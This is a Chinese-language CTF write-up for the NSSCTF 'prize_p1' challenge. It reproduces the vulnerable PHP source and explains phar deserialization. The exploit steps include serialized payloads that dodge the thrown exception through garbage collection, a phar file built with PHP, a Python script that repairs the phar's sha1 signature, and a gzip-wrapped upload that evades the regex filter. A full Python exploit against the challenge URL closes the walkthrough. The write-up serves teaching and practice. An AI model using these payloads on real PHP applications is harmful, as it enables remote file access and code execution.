[phar反序列化][NSSCTF]prize_p1

2023-10-09 20:50
文章标签 序列化 p1 nssctf prize phar

本文主要是介绍[phar反序列化][NSSCTF]prize_p1,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

prize_p1

考点:phar反序列化

<META http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
highlight_file(__FILE__);
class getflag {function __destruct() {echo getenv("FLAG");}
}class A {public $config;function __destruct() {if ($this->config == 'w') {$data = $_POST[0];if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {die("我知道你想干吗,我的建议是不要那样做。");}file_put_contents("./tmp/a.txt", $data);} else if ($this->config == 'r') {$data = $_POST[0];if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {die("我知道你想干吗,我的建议是不要那样做。");}echo file_get_contents($data);}}
}
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $_GET[0])) {die("我知道你想干吗,我的建议是不要那样做。");
}
unserialize($_GET[0]);
throw new Error("那么就从这里开始起航吧");

前置

__destruct(),类的析构函数
1 主动调用unset($obj)
2 主动调用$obj = NULL
3 程序自动结束

分析代码,其中getflag__destruct方法触发即可得到flag,A__destruct方法触发即可写/tmp/a.txt或者任意文件读。

第一步:绕过异常

当程序抛出异常时,__destruct方法不会执行,也就无法实现文件的写入。

a:2:{i:0;O:4:"test":0:{};i:0;N}
//先将对象赋值给数组0建,再将0赋给另一个值,那么对象就失去了引用

同理

O:1:"A":{s:6:"config";s:1:"w";}

由于unserialize($_GET[0]);没有被引用,相当于unset,那么就可以绕过异常执行__destruct

第二步:phar://反序列化

正则表达式过滤了伪协议,若直接phar反序列化,那么反序列化对象中依旧会有明文。

https://guokeya.github.io/post/uxwHLckwx

在该文章中提到,有五种能触发phar的操作,我们通过将phar文件压缩为另一种文件格式,这样反序列化依旧能够触发并且数据中不会出现明文从而绕过正则表达式

普通phar
gzip
bzip2
tar
zip

第三步:绕过异常

如果我们直接在phar文件的Metadata写getflag对象的话,是不能进行反序列化的,因为它反序列化之后会被phar对象的metadata属性引用,不符合unset情况,也就不会直接执行__destruct

这里,我们就需要利用GC(Collecting Cycles)来进行执行__destruct

a:2:{i:0;O:7:"getflag":{}i:0;N;}

​ 考虑反序列化本字符串,我们可以发现,因为反序列化的过程是顺序执行的,所以到第一个属性时,会将Array[0]设置为getflag对象,同时我们又将Array[0]设置为null,这样前面的getflag对象便丢失了引用,就会被GC所捕获,便可以执行__destruct了。

第四步:phar签名修改

我们需要在phar文件中写入这样一个字符串

a:2:{i:0;O:7:"getflag":{}i:0;N;}

直接serialize是不行的,因为在序列化之前属性就已经固定了

a:2:{i:0;O:7:"getflag":{}i:1;N;}

我们可以先生成如上序列化字符串,再想办法将i改成0。但是如果直接修改的话会因为签名错误而报错,那么我们可以修改签名

phar签名数据

image-20211016113857672

示例:sha1签名修复

from hashlib import sha1
f = open('./ph1.phar', 'rb').read() # 修改内容后的phar文件
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMB
open('ph2.phar', 'wb').write(newf) # 写入新文件

生成phar文件

<?php
class getflag{}$c=new getflag();
$phar = new Phar("ph1.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata([0=>$c,1=>NULL]); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

修改i的值为0,修复签名

image-20211016133814660

最后exp

import requests
import gzip
import reurl = 'http://10258-30c3625a-13f9-489f.nss.ctfer.vip:9080/'file = open("./ph2.phar", "rb") #打开文件
file_out = gzip.open("./phar.zip", "wb+")#创建压缩文件对象
file_out.writelines(file)
file_out.close()
file.close()requests.post(url,params={0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'},data={0: open('./phar.zip', 'rb').read()}
) # 写入res = requests.post(url,params={0: 'O:1:"A":1:{s:6:"config";s:1:"r";}'},data={0: 'phar://tmp/a.txt'}
) # 触发
res.encoding='utf-8'
flag = re.compile('(NSSCTF\{.+?\})').findall(res.text)[0]
print(flag)

其他思路:

  • file_put_contents 数组绕过

  • 可以抛弃的签名—phar文件签名非必需

参考链接:

https://www.ctfer.vip/#/note/set/wp/33

这篇关于[phar反序列化][NSSCTF]prize_p1的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/175495

相关文章

Java中JSON格式反序列化为Map且保证存取顺序一致的问题

《Java中JSON格式反序列化为Map且保证存取顺序一致的问题》:本文主要介绍Java中JSON格式反序列化为Map且保证存取顺序一致的问题,具有很好的参考价值,希望对大家有所帮助,如有错误或未... 目录背景问题解决方法总结背景做项目涉及两个微服务之间传数据时,需要提供方将Map类型的数据序列化为co

RedisTemplate默认序列化方式显示中文乱码的解决

《RedisTemplate默认序列化方式显示中文乱码的解决》本文主要介绍了SpringDataRedis默认使用JdkSerializationRedisSerializer导致数据乱码,文中通过示... 目录1. 问题原因2. 解决方案3. 配置类示例4. 配置说明5. 使用示例6. 验证存储结果7.

SpringBoot实现Kafka动态反序列化的完整代码

《SpringBoot实现Kafka动态反序列化的完整代码》在分布式系统中,Kafka作为高吞吐量的消息队列,常常需要处理来自不同主题(Topic)的异构数据,不同的业务场景可能要求对同一消费者组内的... 目录引言一、问题背景1.1 动态反序列化的需求1.2 常见问题二、动态反序列化的核心方案2.1 ht

SpringBoot项目中Redis存储Session对象序列化处理

《SpringBoot项目中Redis存储Session对象序列化处理》在SpringBoot项目中使用Redis存储Session时,对象的序列化和反序列化是关键步骤,下面我们就来讲讲如何在Spri... 目录一、为什么需要序列化处理二、Spring Boot 集成 Redis 存储 Session2.1

Java controller接口出入参时间序列化转换操作方法(两种)

《Javacontroller接口出入参时间序列化转换操作方法(两种)》:本文主要介绍Javacontroller接口出入参时间序列化转换操作方法,本文给大家列举两种简单方法,感兴趣的朋友一起看... 目录方式一、使用注解方式二、统一配置场景:在controller编写的接口,在前后端交互过程中一般都会涉及

C++如何通过Qt反射机制实现数据类序列化

《C++如何通过Qt反射机制实现数据类序列化》在C++工程中经常需要使用数据类,并对数据类进行存储、打印、调试等操作,所以本文就来聊聊C++如何通过Qt反射机制实现数据类序列化吧... 目录设计预期设计思路代码实现使用方法在 C++ 工程中经常需要使用数据类,并对数据类进行存储、打印、调试等操作。由于数据类

如何配置Spring Boot中的Jackson序列化

《如何配置SpringBoot中的Jackson序列化》在开发基于SpringBoot的应用程序时,Jackson是默认的JSON序列化和反序列化工具,本文将详细介绍如何在SpringBoot中配置... 目录配置Spring Boot中的Jackson序列化1. 为什么需要自定义Jackson配置?2.

Django序列化中SerializerMethodField的使用详解

《Django序列化中SerializerMethodField的使用详解》:本文主要介绍Django序列化中SerializerMethodField的使用,具有很好的参考价值,希望对大家有所帮... 目录SerializerMethodField的基本概念使用SerializerMethodField的

Jackson库进行JSON 序列化时遇到了无限递归(Infinite Recursion)的问题及解决方案

《Jackson库进行JSON序列化时遇到了无限递归(InfiniteRecursion)的问题及解决方案》使用Jackson库进行JSON序列化时遇到了无限递归(InfiniteRecursi... 目录解决方案‌1. 使用 @jsonIgnore 忽略一个方向的引用2. 使用 @JsonManagedR

Java中JSON字符串反序列化(动态泛型)

《Java中JSON字符串反序列化(动态泛型)》文章讨论了在定时任务中使用反射调用目标对象时处理动态参数的问题,通过将方法参数存储为JSON字符串并进行反序列化,可以实现动态调用,然而,这种方式容易导... 需求:定时任务扫描,反射调用目标对象,但是,方法的传参不是固定的。方案一:将方法参数存成jsON字